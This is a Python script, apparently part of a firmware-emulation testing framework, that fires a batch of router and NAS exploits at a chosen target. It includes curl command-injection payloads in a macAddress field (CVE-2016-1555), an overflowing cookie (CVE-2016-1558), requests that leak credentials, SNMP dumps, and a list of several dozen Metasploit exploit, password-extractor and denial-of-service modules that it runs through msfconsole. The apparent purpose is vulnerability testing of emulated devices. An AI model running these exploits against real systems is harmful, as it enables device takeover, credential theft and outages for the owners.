#!/usr/bin/env python

import sys
import getopt
import subprocess
import contextlib

SHELL_EXPLOITS = {
    200 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF1;&reginfo=1&writeData=Submit\" http://%(target)s/boardData102.php", "grep -qs \"DEADBEEF1\" qemu.serial"), # CVE-2016-1555
    201 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF2;&reginfo=1&writeData=Submit\" http://%(target)s/boardData103.php", "grep -qs \"DEADBEEF2\" qemu.serial"), # CVE-2016-1555
    202 : ("curl -L --max-redir 0 -m 5 -s -f http://%(target)s/ROM-0", ""), # https://rootatnasro.wordpress.com/2014/01/11/how-i-saved-your-a-from-the-zynos-rom-0-attack-full-disclosure/
    203 : ("curl -L --max-redir 0 -m 5 -s -f -b dlink_uid=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA http://%(target)s/session_login.php", "grep -qs \"BadVA : 41414141\" qemu.serial"), # CVE-2016-1558
    204 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF3;&reginfo=1&writeData=Submit\" http://%(target)s/boardDataJP.php", "grep -qs \"DEADBEEF3\" qemu.serial"), # CVE-2016-1555
    205 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF4;&reginfo=1&writeData=Submit\" http://%(target)s/boardDataNA.php", "grep -qs \"DEADBEEF4\" qemu.serial"), # CVE-2016-1555
    206 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF5;&reginfo=1&writeData=Submit\" http://%(target)s/boardDataWW.php", "grep -qs \"DEADBEEF5\" qemu.serial"), # CVE-2016-1555
    207 : ("curl -L --max-redir 0 -m 5 -s -f http://%(target)s/getBoardConfig.php", "grep -qs -e \"WPS PIN\" -e \"PASSPHRASE\" %(output)s"), # CVE-2016-1556
#    208 : ("curl -L --max-redir 0 -m 5 -s -f \"http://%(target)s/mfgwrite.php?product=;cat DEADBEEF6\"", "grep -qs \"DEADBEEF6\" qemu.serial"),
    209 : ("snmpwalk -v2c -c public %(target)s .iso", "grep -qs \".2.1.3.3.2.1.1.4\" %(output)s"), # CVE-2016-1559
    210 : ("snmpwalk -v2c -c public %(target)s .iso", "grep -qs \".4.1.1.1\" %(output)s "), # CVE-2016-1559
    211 : ("snmpwalk -v2c -c public %(target)s iso.3.6.1.4.1.4526.100.7.8.1.5", ""), # CVE-2016-1557
    212 : ("snmpwalk -v2c -c public %(target)s iso.3.6.1.4.1.4526.100.7.9.1.5", ""), # CVE-2016-1557
    213 : ("snmpwalk -v2c -c public %(target)s iso.3.6.1.4.1.4526.100.7.9.1.7", ""), # CVE-2016-1557
    214 : ("snmpwalk -v2c -c public %(target)s iso.3.6.1.4.1.4526.100.7.10.1.7", ""), # CVE-2016-1557
#    215 : ("curl -L --max-redir 0 -m 5 -s -f http://%(target)s/userRpmNatDebugRpm26525557/linux_cmdline.html", ""), # http://websec.ca/advisories/view/root-shell-tplink-wdr740
}

METASPLOIT_EXPLOITS = {
    0 : "use exploits/linux/http/airties_login_cgi_bof",
    1 : "use exploits/linux/http/belkin_login_bof",
    2 : "use exploits/linux/http/ddwrt_cgibin_exec",
    3 : "use exploits/linux/http/dlink_authentication_cgi_bof",
    4 : "use exploits/linux/http/dlink_command_php_exec_noauth",
    5 : "use exploits/linux/http/dlink_diagnostic_exec_noauth",
    6 : "use exploits/linux/http/dlink_dir300_exec_telnet",
    7 : "use exploits/linux/http/dlink_dir605l_captcha_bof",
    8 : "use exploits/linux/http/dlink_dir615_up_exec",
    9 : "use exploits/linux/http/dlink_dspw110_cookie_noauth_exec",
    10 : "use exploits/linux/http/dlink_dspw215_info_cgi_bof",
    11 : "use exploits/linux/http/dlink_hedwig_cgi_bof",
    12 : "use exploits/linux/http/dlink_hnap_bof",
    13 : "use exploits/linux/http/dlink_hnap_header_exec_noauth",
    14 : "use exploits/linux/http/dlink_upnp_exec_noauth",
    # 15 : "use exploits/router/dreambox_openpli_shell",
    16 : "use exploits/linux/http/fritzbox_echo_exec",
    17 : "use exploits/linux/http/linksys_apply_cgi",
    # 18 : "use exploits/linux/http/linksys_e1500_apply_exec",
    19 : "use exploits/linux/http/linksys_themoon_exec",
    # 20 : "use exploits/linux/http/linksys_wrt54gl_apply_exec",
    # 21 : "use exploits/linux/http/linksys_wrt110_cmd_exec",
    # 22 : "use exploits/linux/http/linksys_wrt160nv2_apply_exec",
    23 : "use exploits/linux/http/multi_ncc_ping_exec",
    24 : "use exploits/linux/http/netgear_dgn1000b_setup_exec",
    # 25 : "use exploits/linux/http/netgear_dgn2200b_pppoe_exec",
    26 : "use exploits/linux/http/netgear_readynas_exec",
    27 : "use exploits/linux/http/realtek_miniigd_upnp_exec_noauth",
    28 : "use exploits/linux/http/seagate_nas_php_exec_noauth",
    29 : "use exploits/linux/misc/sercomm_exec",
    30 : "use exploits/linux/upnp/dlink_upnp_msearch_exec",
    31 : "use exploits/linux/upnp/miniupnpd_soap_bof",
    32 : "use exploits/multi/http/cisco_dcnm_upload",
    33 : "use exploits/multi/upnp/libupnp_ssdp_overflow",
    # 34 : "use exploits/unix/dhcp/bash_environment",
    # 35 : "use auxiliary/router/cisco_secure_acs_bypass",
    36 : "use auxiliary/admin/cisco/vpn_3000_ftp_bypass",
    37 : "use auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss",
    38 : "use auxiliary/admin/http/dlink_dir_300_600_exec_noauth",
    39 : "use auxiliary/admin/http/dlink_dir_645_password_extractor",
    40 : "use auxiliary/admin/http/dlink_dsl320b_password_extractor",
    41 : "use auxiliary/admin/http/intersil_pass_reset",
    # 42 : "use auxiliary/admin/http/linksys_e1500_e2500_exec",
    43 : "use exploits/router/linksys_tmunblock_admin_reset_bof",
    # 44 : "use auxiliary/admin/http/linksys_wrt54gl_exec",
    45 : "use auxiliary/admin/http/netgear_soap_password_extractor",
    46 : "use auxiliary/admin/http/zyxel_admin_password_extractor",
    47 : "use auxiliary/admin/misc/sercomm_dump_config",
    48 : "use auxiliary/admin/motorola/wr850g_cred",
    49 : "use auxiliary/admin/vxworks/apple_airport_extreme_password",
    50 : "use auxiliary/admin/vxworks/dlink_i2eye_autoanswer",
    51 : "use auxiliary/admin/vxworks/wdbrpc_memory_dump",
    52 : "use auxiliary/admin/vxworks/wdbrpc_reboot",
    53 : "use auxiliary/dos/cisco/ios_http_percentpercent",
    54 : "use auxiliary/dos/dhcp/isc_dhcpd_clientid\nset RIP %(target)s",
    # 55 : "use auxiliary/router/ntpd_reserved_dos",
    56 : "use auxiliary/dos/upnp/miniupnpd_dos",
    57 : "use auxiliary/scanner/http/cisco_ios_auth_bypass",
    58 : "use auxiliary/scanner/http/cisco_nac_manager_traversal",
    59 : "use auxiliary/scanner/http/dlink_user_agent_backdoor",
    60 : "use auxiliary/scanner/http/linksys_e1500_traversal",
    61 : "use auxiliary/scanner/http/goahead_traversal",
    62 : "use auxiliary/scanner/http/litespeed_source_disclosure\nset PATH_SAVE /tmp/",
    63 : "use auxiliary/scanner/http/netgear_sph200d_traversal",
    64 : "use auxiliary/scanner/ssl/openssl_ccs",
    65 : "use auxiliary/scanner/ssl/openssl_heartbleed",
    66 : "use auxiliary/scanner/http/allegro_rompager_misfortune_cookie",
    67 : "use auxiliary/dos/dns/bind_tkey",
    68 : "use exploits/linux/http/synology_dsm_sliceupload_exec_noauth",
    69 : "use auxiliary/scanner/snmp/sbg6580_enum",
    70 : "use auxiliary/scanner/snmp/arris_dg950",
}

# this attempts to default to stdout if an output file is not provided, but may be buggy
@contextlib.contextmanager
def smart_open(filename, mode):
    if filename:
        f = open(filename, mode)
    else:
        f = sys.stdout

    try:
        yield f

    finally:
        if f != sys.stdout:
            f.close()

def exploit_metasploit(target, eid, outfile=None):
    cmd = METASPLOIT_EXPLOITS[eid] % {'target':target}
    return cmd + "\nexploit -z\n" if not outfile else "spool " + outfile % \
        {'exploit':eid} + "\n" + cmd + "\nexploit -z\nspool off\nsessions -K\n"

def exploit_shell(target, eid, outfile=None):
    print("Executing shell command...")

    # create log file for this shell command execution
    if outfile:
        outfile = outfile % {'exploit':eid}

    with smart_open(outfile, 'w') as f:
        ret = subprocess.call(SHELL_EXPLOITS[eid][0] % {'target': target},
                              stderr=f, stdout=f, shell=True)
        # always run verification command if available; do not attempt early
        # termination if the first command appears to fail
        # this fixes e.g. 203, which crashes the HTTP server and causes curl to
        # return CURLE_GOT_NOTHING (52)
        if SHELL_EXPLOITS[eid][1]:
            ret = subprocess.call(SHELL_EXPLOITS[eid][1] % \
            {'target':target, 'output':outfile}, stderr=f, stdout=f, shell=True)
        f.write("\nResult: %d" % ret)

def process(target, exploits, outfile=None):
    cmd = "setg RHOST %(target)s\nsetg RHOSTS %(target)s\n\n" % \
        {'target': target}
    # not great performance, because we will wait until all exploits have
    # been processed before starting metasploit with the script
    for e in exploits:
        if e in METASPLOIT_EXPLOITS:
            cmd += exploit_metasploit(target, e, outfile) + "\n"
        elif e in SHELL_EXPLOITS:
            exploit_shell(target, e, outfile)
        else:
            print("Unrecognized exploit: %d" % e)
    cmd += "quit"

    # write metasploit script to attempt exploits
    print("Writing script.rc...")
    with open("script.rc", 'w') as f:
        f.write(cmd)

    # create log file for all metasploit exploit execution
    if outfile:
        outfile = outfile % {'exploit': "metasploit"}
    else:
        outfile = "/dev/stdout"

    print("Executing metasploit command...")
    with smart_open(outfile, 'w') as f:
        ret = subprocess.call(['/bin/sh', '-c', 'msfconsole -qnr script.rc'],
                              stderr=f, stdout=f)
        f.write("\nResult: %d" % ret)

def main():
    exploits = []
    outfile = None
    opts, argv = getopt.getopt(sys.argv[1:], 'e:t:o:')
    for k, v in opts:
        if k == '-e':
            if v == 'x':
                exploits = METASPLOIT_EXPLOITS.keys() + SHELL_EXPLOITS.keys()
            else:
                exploits = [int(x) for x in v.split(',')]
        if k == '-t':
            target = v
        if k == '-o':
            outfile = v + ".%(exploit)s.log"

    process(target, exploits, outfile)

if __name__ == "__main__":
    main()

